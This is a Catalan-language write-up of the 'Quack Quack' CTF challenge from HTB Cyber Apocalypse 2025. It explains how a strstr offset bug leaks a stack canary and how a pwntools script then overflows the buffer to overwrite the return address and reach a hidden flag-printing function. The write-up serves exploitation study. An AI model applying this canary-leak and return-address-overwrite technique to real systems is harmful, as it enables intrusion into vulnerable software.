Cyber Apocalypse 2025 - Quack
Table of Contents
Quack Quack
Un dels meus reptes preferits de l'HTB CTF d'aquest any va ser Quack Quack
Per a cuac, ens van donar dues coses:
- Un fitxer ELF binari
quack_quack - Una IP i un port per connectar-se

La connexió al comandament ens va rebre amb un ànec i un missatge, que surt immediatament independentment de quina entrada es doni
Sent l'única altra cosa que ens van donar, obro el binari quack_quack a Ghidra per veure què passa (estic suposant que el binari és el que s'està executant al comandament).
Després del desmuntatge, cal destacar que veiem un parell de funcions interessants a l'esquerra:
ducklingduck_attackbannersetupmain
D'aquests, només duckling, duck_attack i main són rellevants. Per tant, fem una ullada a la funció principal per veure com es desenvolupa la lògica del programa:
Aquí veiem que en colpejar la funció principal, el programa simplement crea un canari, executa duckling i després surt. Per tant, mirem duckling
Aquí hi ha molta lògica, així que anem a desglossar-la:
char *pcVar1;
long in_FS_OFFSET;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_88 = 0;
local_80 = 0;
local_78 = 0;
local_70 = 0;
local_68 = 0;
local_60 = 0;
local_58 = 0;
local_50 = 0;
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
La primera part de la funció assigna un munt de variables: res boig. local_10 és el valor canari.
A continuació, envia la sol·licitud a stdout (recordeu que aquesta és la mateixa indicació que vam veure en connectar-nos al control remot):
printf("Quack the Duck!\n\n> ");
fflush(stdout);
A continuació, llegeix 102 bytes de stdin i emmagatzema les dades al punter local_88
read(0,&local_88,0x66);
A continuació, realitzem la funció C strstr ( const char * str1, const char * str2 ), que retorna un punter a la primera ocurrència de str2 a str1 o un punter nul si no es troba. Essencialment, està cercant la nostra entrada &local_88 per la cadena "Quack Quack ", i retornant un punter nul si no es troba la cadena o el punter a on es troba "Quack Quack".
pcVar1 = strstr((char *)&local_88,"Quack Quack ");
Aleshores, el programa comprova si el resultat és un punter nul. Si és així, surt i escriu un missatge. De nou, això és el que vam veure quan ens vam connectar.
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
exit(0x520);
}
Si volem, podem verificar aquesta lògica connectant-nos de nou al comandament i introduint "Quack Quack" (comprova l'espai)

Tornar al codi:
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
Aquí el programa imprimeix un missatge amb una substitució, substituint %s per les dades situat 32 bytes després del punter del fragment anterior. Just després, realitza una altra lectura stdin, però aquesta vegada llegeix 40 (0x28) bytes i l'emmagatzema en una variable:
read(0,&local_68,0x6a)
Després d'això, imprimeix incondicionalment una cadena fixa i torna.
puts("Did you really expect to win a fight against a Duck?!\n");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
De fet, podem veure aquest comportament:

És bastant obvi en aquest moment que estem conduïts a un atac de desbordament del buffer. El problema clau és que local_68 està a només 0x20 (32) bytes de distància del final del primer buffer, però la segona lectura accepta 106 bytes. Això vol dir que podem escriure més enllà dels límits de la memòria intermèdia i, potencialment, sobreescriure l'adreça de retorn.
A més, recordeu que hi ha una altra funció que vam veure: duck_attack. És obvi que aquesta funció és el nostre objectiu. Volem executar-ho al servidor, però la trama s'engrossi: recordeu que ja vam veure el codi de la funció main i la funció duckling, i en cap part del codi no es crida aquesta funció. Per tant, en condicions normals, aquesta funció no es cridarà mai i no hi ha camins lògics que condueixin a que aquesta funció s'executi. És a dir, la manera només d'executar-ho possiblement al servidor és sobreescriure una adreça de retorn mitjançant un desbordament.

Genial, així que provem un atac de desbordament de memòria intermèdia. Això es pot fer fàcilment adjuntant un depurador i generant una càrrega útil de 106 bytes de llarg, i utilitzar-lo com a segona entrada. Recordeu que hem d'introduir "Quack Quack" com a primera entrada per passar la comprovació:

Aquí és on el repte es fa una mica més difícil. Té protecció contra atacs de desbordament de memòria intermèdia, tal com es veu a l'error _DAST5_*: terminated. Probablement, la protecció l'ofereix el compilador que genera comprovacions canàries automàticament abans que RBP salti. Podeu llegir més sobre com funciona això here, però bàsicament:
- Abans del buffer
RBPa la memòria, es col·loca un valor canari (només un munt de dades aleatòries generades en temps d'execució). - Si es canvia el valor del canari, això significa que un buffer que el precedeix s'ha desbordat a l'adreça del canari, i el programa sap que s'ha produït un desbordament del buffer. És quan es produeix l'accident.
- Com que el
RBPemmagatzema l'adreça de retorn, la funció no pot retorna tret que el canari es mantingui sense canvis
Això limita el nostre estil, perquè un atac de desbordament de memòria intermèdia típic funciona sobreescriure l'adreça de retorn a una adreça que escollim (en aquest cas, triaríem l'adreça de duck_attack). Tanmateix, com que el punter de retorn es troba al final de la pila, hauríem de sobreescriure el canari per arribar-hi.
L'única manera d'evitar aquest tipus de protecció és filtrar d'alguna manera el valor canari en temps d'execució i, quan es desborden i destrueixen dades fora de la memòria intermèdia prevista, col·loquem el valor canari on es trobava amb el desplaçament correcte.
Hi ha una vulnerabilitat a la lògica de la primera entrada:
pcVar1 = strstr((char *)&local_88,"Quack Quack ");
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
exit(0x520);
}
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
En resum, aquest codi:
- Retorna el punter de la primera instància de
Quack Quacka l'entrada - Imprimeix la memòria que està desplaçada 32 bytes d'aquest punter.
Aquí, podem manipular el punter i esperem que imprimeixi el valor canari. Obrim de nou el nostre depurador i establim un punt d'interrupció just després de la sortida corresponent.
Ara, essencialment tenim una memòria arbitrària llegida manipulant el desplaçament de la subcadena marcada des del principi de l'entrada (només pot tenir 102 bytes de gran). Malauradament, no sabem on és el valor canari, en relació amb on s'emmagatzema el buffer d'entrada. Per exemple, preneu l'execució següent amb 49 a abans de la cadena:
Quan es substitueix el %s, veiem que no surt res. Això es deu al fet que suposadament l'adreça de memòria a 32 bytes de qualsevol punter que es generi amb 49 a està buida. Com que ara estem endevinant amb la memòria, haurem de començar a automatitzar. Per a això faré servir Python i pwntools.
Escrivim un script ràpid per fer força bruta el nombre d'a necessaris per filtrar el canari. En aquest cas, només necessitem provar 1-90, ja que la mida màxima de la memòria intermèdia és de 102 bytes i "Quack Quack" ja en ocupa 12.
#!/usr/bin/env python3
from pwn import *
import re
import binascii
context.log_level = 'error'
host = '94.237.50.164'
port = 39565
duck_attack = 0x0040137f
def leak_canary(i):
conn = process('./quack_quack')
conn.recvuntil(b'> ')
pre = b'A' * i
payload = pre + b'Quack Quack '
conn.sendline(payload)
response = conn.recvuntil(b'the Duck?')
print("Response:\n", response)
out = response.split(b'Quack Quack ')[1].split(b',')[0]
print(f'Data extracted with offset {i}: {out}')
conn.close()
def main():
for i in range(0,90):
leak_canary(i)
if __name__ == '__main__':
main()
No he escrit comentaris al meu codi, però hauria de ser força explicatiu. Aquí teniu la sortida:
En la seva majoria, la memòria està buida. Però veureu que en alguns llocs aconseguim obtenir una mica de dades. Tanmateix, només amb un desplaçament de 89 veiem realment una quantitat de dades utilitzable. Això vol dir que probablement hem localitzat el canari just al final! Aquí estem tractant dades binàries, de manera que no es mostraran correctament en un terminal. Per solucionar-ho, haurem de fer una mica d'anàlisi al nostre script.
Nota: em vaig quedar atrapat durant diverses hores aquí. El problema era que estem llegint la memòria i l'emetem, de manera que l'endianisme es capgira. Hem de reordenar manualment l'endian per tenir dades utilitzables
Canviem l'script de la manera següent:
out = response.split(b'Quack Quack ')[1].split(b',')[0]
canary_bytes = out[:7]
attack_bytes = p64(duck_attack, endianness='little')
canary = canary_bytes.rjust(8, b'\x00')
canary = u64(canary)
print(f'Data extracted with offset {i}: {hex(canary)}')
I ara tenim el valor canari!
Com que això es genera en temps d'execució, malauradament no podem utilitzar-lo com a valor final, haurem d'extreure'l en temps d'execució i utilitzar-lo a la càrrega útil. No és un problema, però val la pena destacar.
Ara, recorda. El nostre objectiu és reescriure l'adreça de retorn per tornar a la funció duck_attack per imprimir la bandera. I sabem l'adreça de la funció des del desmuntatge:
Podem afegir l'adreça com a variable i recordeu girar l'endian:
duck_attack = 0x0040137f
attack_bytes = p64(duck_attack, endianness='little')
Però abans d'això, tornem al depurador i intentem verificar el nostre canari. Malauradament, a GDB, després d'haver arribat al nostre punt d'interrupció:
i inspeccionem la pila:
, no podem comparar el nostre canari amb el que hi ha a la memòria, perquè les dades binàries no es mostren al nostre terminal. Per tant, haurem d'adjuntar el nostre depurador gdb dins del nostre script on podem analitzar la sortida en brut
Per fer-ho, només afegim gdb.attach(conn) i, allà on volem inspeccionar, podem afegir pause(). En el nostre cas, només afegirem el pause() abans de tancar la connexió. Ara obrim un depurador just després d'imprimir el canari:
Ja veuràs que els nostres canaris coincideixen! És a dir, ara podem passar a la segona part de l'explotació (recordeu el segon read()?)
Ara, tenim el canari i estem intentant sobreescriure l'adreça de retorn. De la mateixa manera que amb el canari, no sabem la posició del nostre objectiu en relació amb la pila que estem sobreescrivint. Podem fer alguna cosa semblant a com vam fer la primera part i fer-ho amb força bruta. Recordeu, el canari estarà just abans de RBP, així que podrem afegir lentament al nostre desbordament amb el nostre canari al final.
Si bé el desbordament és prou petit, el canari no es tocarà i no passarà res. Quan el desbordament sigui massa gran, els nostres personatges brossa sobreescriuran el canari i tindrem un xoc de la pila. Però, quan tinguem el desplaçament correcte, se superposarà perfectament al canari, i substituirà l'adreça de retorn per l'adreça de duck_attack, llegint el fitxer flag.txt.
Així que afegim això al nostre script, iterant sobre i:
res = conn.recvuntil(b'> ')
payload2 = (b'A' * i) + p64(canary) + attack_bytes
conn.sendline(payload2)
res = conn.recv_raw(256)
print(f'{i}: {res}')
I obtenim un resultat interessant amb 88 a:

Però... Esperàvem aconseguir la bandera. On és? Per què mostrem un text aleatori?
Entrem al nostre depurador i descobrim:
Verifiquem que RBP no s'ha sobreescrit. Així que això porta a la pregunta: on ha anat a parar la nostra càrrega útil? lol. Fem una ullada a la pila i ho descobrim.
D'acord, és interessant. La nostra càrrega útil (40137f) es troba a 0x7ffe95725d30, però la volem a 0x7ffe95725d20. Així que afegim uns quants bytes abans de la nostra càrrega útil d'atac i depuració:
D'acord, això és un progrés. Ara veiem que estem sobreescriure parcialment RBP, donant lloc a una adreça de memòria no vàlida:
Així que afegim 8 bytes abans de la nostra càrrega útil d'atac per moure'l a la posició + (b'A'*8) + attack_bytes
Sembla que ho hem aconseguit! El flag.txt de la meva màquina es va mostrar correctament. Ara hem d'executar-ho al servidor.

Molt bé, ho tenim! (Ara són les 2 de la matinada)